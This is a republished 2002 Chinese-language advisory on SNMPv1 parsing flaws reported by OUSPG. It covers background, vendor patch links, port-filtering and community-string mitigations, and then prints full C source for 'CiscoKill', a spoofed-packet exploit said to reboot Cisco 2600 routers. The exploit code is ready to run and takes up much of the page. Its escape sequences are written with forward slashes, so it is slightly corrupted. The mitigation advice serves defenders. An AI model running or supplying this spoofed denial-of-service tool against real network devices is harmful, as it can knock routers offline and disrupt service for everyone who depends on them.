SNMP协议实现存在多个漏洞

SNMP协议实现存在多个漏洞


 来源:cnns.net  类别:系统漏洞  日期:2002-6-22 8:08:04


涉及程序:
SNMP协议和各种网络设备

描述:
snmp协议实现机制存在多个漏洞严重危害互联网基础安全

详细:
背景:
ASN No.1信令为抽象数据类型形式的标准,1984年以来,被用于编写和发送复杂的数据结构。这个语言从80年代开始衍生出了多个通信协议和应用,是电信业、电力业和核电业计算机网络基础信令。也是互联网赖以运行的基础通信规则之一。全球级计算机安全专家正在调查ASN N0.1信令的安全脆弱性。这些脆弱性严重威胁互联网基础设施安全,黑客可以开发攻击程序,关闭ISP的骨干路由器、交换机和众多的基础网络设备。最终破坏性的后果将是引起互联网瘫痪。
业界和政府的计算机安全专家门早就在关注这些问题。CNNS的安全专家早在1999年就发现很多电信公司的骨干路由器有致命缺陷。在那个时候,只需要很简单的操作,就可以引起大规模的网络瘫痪。举一个例子,一个显著的漏洞特征曾经出现在台湾中华电信,1999年如果有黑客施之以简单攻击,整个台湾地区大约65%的用户就不再能上网。
由于ASN No.1信令的安全脆弱性,超过100家计算机网络设备的提供商将付出代价。弥补这些缺陷的投入将超过1亿美金。
数百家网络设备提供商在今年早期就获得警告。如今已经纷纷给出解决方案。
由于多个internet通信协议都是基于ASN No.1计算机网络语言,ASN No.1的脆弱性将广泛威胁通信行业。最为显著的例子就是造成SNMP协议多个安全漏洞。相同的问题还影响至少其它三个互联网协议,在这里不做详细叙述。
Oulu University Secure Programming Group (OUSPG, http://www.ee.oulu.fi/research/ouspg/)长期专注于SNMP协议的研究,并披露了这个严重的安全系列问题。

=========================================================================================
多个计算机网络设备厂商的产品存在由于snmp协议脆弱性引起的多个漏洞,这些缺陷可能允许非法越权访问、拒绝服务攻击、导致不稳定的运行状况。
Simple Network Management Protocol (SNMP)协议被广泛用于网络设备的监控和管理。
SNMPv1定义了多个类型的SNMP讯息,如请求信息、配置改变、请求响应、SNMP对象列举,和主动的警报发送。

一、SNMPv1跟踪消息处理系列缺陷
SNMP代理(SNMP agents)发送跟踪消息(SNMP trap messages)到管理器(SNMP manager),向管理器报告错误信息、警报和其它的有关宿主的状态
信息。管理器必须解析和处理这些数据。OUSPG发现很多SNMP管理器在解析和处理过程中存在缺陷。

二、SNMPv1请求信息处理系列缺陷
SNMP请求信息是从管理器向snmp agent代理发出的。请求信息用于获取代理信息或指示snmp agent配置设备参数。SNMP agent代理必须正确解码和处理该信息。
在解码以及随后的数据处理过程中,代理和管理器都有出现拒绝服务错误、格式化字符串错误和缓冲溢出攻击的可能。有的攻击甚至不需要提供正确的SNMP community string(SNMP协议设置的一个关键参数,有点类似口令)。

这些漏洞可以导致拒绝服务、服务中断,还有一些情况下可以允许攻击者获取设备的非法访问权限。攻击对于不同的产品有不同的影响。

解决方案:
本站列出了一百多个全球大厂商关于这个安全问题的响应和有关信息:
http://www.cnns.net/patch/vendor.htm

请注意,以下的安全措施对于您的网络日常维护和网络设置构架可能有重大的影响。要确保以下措施的结果不会影响网络运行性能。

1、从厂商获得补丁程序并执行
http://www.cnns.net/patch/vendor.htm提供了厂商有关该安全性问题的信息。

2、禁止SNMP服务
CNNS建议您禁止所有不必要运行的服务,包括SNMP。不幸的是,有些产品在SNMP服务被禁止的情况下会有意外情况发生或者拒绝服务。如果是这样的话,必须执行更高级的安全设置。

3、边界访问过滤
临时的措施是,在网络边界禁止不良信息流进入内部网络或者发往外部网络。对于网络管理者来说,比较有力的措施是通过防火墙等过滤设备控制对SNMP服务的请求。比如,除指定的服务器外,缺省情况下通通禁止对SNMP服务的请求,以下端口的过滤有利于外部攻击者对内部网的SNMP攻击:
snmp 161/udp # Simple Network Management Protocol (SNMP)
snmp 162/udp # SNMP system management messages
以下这些服务并不常用,但有些产品可能运行这些服务:

snmp 161/tcp # Simple Network Management Protocol (SNMP)
snmp 162/tcp # SNMP system management messages
smux 199/tcp # SNMP Unix Multiplexer
smux 199/udp # SNMP Unix Multiplexer
synoptics-relay 391/tcp # SynOptics SNMP Relay Port
synoptics-relay 391/udp # SynOptics SNMP Relay Port
agentx 705/tcp # AgentX
snmp-tcp-port 1993/tcp # cisco SNMP TCP port
snmp-tcp-port 1993/udp # cisco SNMP TCP port
过滤对这些服务的请求,必须细心慎重,以免影响正常的网络运行。
值得注意的是,SNMP守护进程可能在该设备上绑定所有的IP地址。因此,要合理考虑包过滤策略。比如,即使禁止了SNMP包直接发送给普通的网络地址,还是有可能受到攻击。因为攻击者可以利用SNMP缺陷攻击一些特殊的网络地址,如:
网络广播地址
子网广播地址
和所有的loopback地址。(127.x.x.x)loopback地址常被路由器用于管理用途。
管理员可以考虑是否过滤这些数据包。但必须慎重,因为不当的设置可能影响网络性能。

最后,对以下的RPC服务的访问也可以考虑禁止:
名称 程序ID 别名
snmp 100122 na.snmp snmp-cmc snmp-synoptics snmp-unisys snmp-utk
snmpv2 100138 na.snmpv2 # SNM Version 2.2.2
snmpXdmid 100249
值得注意的是,这些措施对内部攻击无效。

4、在内部网络中过滤不正常的SNMP访问。
在很多网络系统中,只有有限的网络管理系统需要发生SNMP请求。基于这种情形,对于大多数的SNMP代理,可以设置仅接受有限几台主机的SNMP请求。这样可以降低内部攻击风险。使用这些安全措施同样必须慎重,以免不当的设置降低网络性能。


5、修改缺省的"community string"
很多支持SNMP服务的产品的出厂设置中,默认的community-string是"public"(只读访问)和"private"(读写访问)。CNNS强烈建议用户修改这两个缺省字符串。否则攻击者将可以通过SNMP协议修改设备的设定。修改了这两个缺省"口令"后,还要防备监听攻击以免攻击者获得新的设置"口令"。SNMPv3对这点做了改进,参考 RFC2574。

6、隔离SNMP包
从网络管理的角度,用隔离措施可以降低SNMP攻击的风险。
包括物理隔离、VLAN逻辑隔离和VPN方式的隔离。注意通过交换机做VLAN隔离将加大攻击者攻击难度,但理论上并不能完全杜绝这类攻击。


攻击方法:
范例:
一、如果获取支持SNMP协议设备的"community string",在合适的环境下,攻击者将可以:
1、修改路由器配置
2、获取服务器最高控制权
3、重新启动设备

二、攻击者在不知道"community string"的前提下,也能进行拒绝服务攻击。
以下这段代码将重启Cisco 2600路由器:
/* This program send a spoofed snmpv1 get request that cause system reboot
on Cisco 2600 routers with IOS version 12.0(10)

Author : kundera@tiscali.it ... don't be lame use for testing only! ..:) */

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <arpa/inet.h>

struct in_addr sourceip_addr;
struct in_addr destip_addr;
struct sockaddr_in dest;

struct ip *IP;
struct udphdr *UDP;
int p_number=1,sok,datasize,i=0;

char *packet,*source,*target;
char *packetck;
char *data,c;

char snmpkill[] =
"/x30/x81/xaf/x02/x01/x00/x04/x06/x70/x75/x62/x6c/x69/x63/xa0/x81"
"/xa1/x02/x02/x09/x28/x02/x01/x00/x02/x01/x00/x30/x81/x94/x30/x81"
"/x91/x06/x81/x8c/x4d/x73/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73"
"/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73"
"/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73"
"/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73"
"/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73"
"/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73"
"/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73"
"/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73"
"/x25/x73/x25/x73/x25/x73/x81/xff/xff/xff/xff/xff/xff/xff/xff/x7f"
"/x05";


struct pseudoudp {
u_long ipsource;
u_long ipdest;
char zero;
char proto;
u_short length;
} *psudp;


in_cksum (unsigned short *ptr, int nbytes)
{

register long sum; /* assumes long == 32 bits */
u_short oddbyte;
register u_short answer; /* assumes u_short == 16 bits */

/*
* Our algorithm is simple, using a 32-bit accumulator (sum),
* we add sequential 16-bit words to it, and at the end, fold back
* all the carry bits from the top 16 bits into the lower 16 bits.
*/

sum = 0;
while (nbytes > 1)
{
sum += *ptr++;
nbytes -= 2;
}

/* mop up an odd byte, if necessary */
if (nbytes == 1)
{
oddbyte = 0; /* make sure top half is zero */
*((u_char *) & oddbyte) = *(u_char *) ptr; /* one byte only */
sum += oddbyte;
}

/*
* Add back carry outs from top 16 bits to low 16 bits.
*/

sum = (sum >> 16) + (sum & 0xffff); /* add high-16 to low-16 */
sum += (sum >> 16); /* add carry */
answer = ~sum; /* ones-complement, then truncate to 16 bits */
return (answer);
}


void usage (void)
{
printf("Kundera CiscoKill v1.0/n");
printf("Usage: ciscokill [-n number of packets] [-s source ip_addr] -t ip_target /n");
}

int main(int argc,char **argv){

if (argc < 2){
usage();
exit(1);
}

while((c=getopt(argc,argv,"s:t:n:"))!=EOF){
switch(c) {
case 's': source=optarg; break;
case 'n': p_number=atoi(optarg); break;
case 't': target=optarg;
}
}

if ( (sok=socket(AF_INET,SOCK_RAW,IPPROTO_RAW)) < 0)
{
printf("Can't create socket./n");
exit(EXIT_FAILURE);
}

destip_addr.s_addr=inet_addr(target);
sourceip_addr.s_addr=inet_addr(source);

datasize=sizeof(snmpkill);

packet = ( char * )malloc( 20 + 8 + datasize );

IP = (struct ip *)packet;

memset(packet,0,sizeof(packet));

IP->ip_dst.s_addr = destip_addr.s_addr;
IP->ip_src.s_addr = sourceip_addr.s_addr;
IP->ip_v = 4;
IP->ip_hl = 5;
IP->ip_ttl = 245;
IP->ip_id = htons(666);
IP->ip_p = 17;
IP->ip_len = htons(20 + 8 + datasize);
IP->ip_sum = in_cksum((u_short *)packet,20);


UDP = (struct udphdr *)(packet+20);
UDP->source = htons(666);
UDP->dest = htons(161);
UDP->len = htons(8+datasize);
UDP->check = 0;
packetck = (char *)malloc(8 + datasize + sizeof(struct pseudoudp));
bzero(packetck,8 + datasize + sizeof(struct pseudoudp));
psudp = (struct pseudoudp *) (packetck);
psudp->ipdest = destip_addr.s_addr;
psudp->ipsource = sourceip_addr.s_addr;
psudp->zero = 0;
psudp->proto = 17;
psudp->length = htons(8+datasize);
memcpy(packetck+sizeof(struct pseudoudp),UDP,8+datasize);
memcpy(packetck+sizeof(struct pseudoudp)+8,snmpkill,datasize);

UDP->check = in_cksum((u_short *)packetck,8+datasize+sizeof(struct pseudoudp));

data = (unsigned char *)(packet+20+8);
memcpy(data,snmpkill,datasize);

dest.sin_family=AF_INET;
dest.sin_addr.s_addr=destip_addr.s_addr;

while (i<p_number)
{
if (( sendto(sok,packet,20+8+datasize,0,( struct sockaddr * ) &dest,sizeof(dest)))<0)
{
printf("Error sending packet./n");
exit(EXIT_FAILURE);
}

i++;

}
printf("%d packets sent./n",i);

}


安全建议:
在允许的情况下,禁止SNMP协议

附加信息:
http://www.kb.cert.org/vuls/id/854306
http://www.kb.cert.org/vuls/id/107186
CA-2002-03
http://online.wsj.com/article_email/0,,SB1023731908761703280,00.html


相关站点:
http://www.cert.org/advisories/CA-2002-03.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值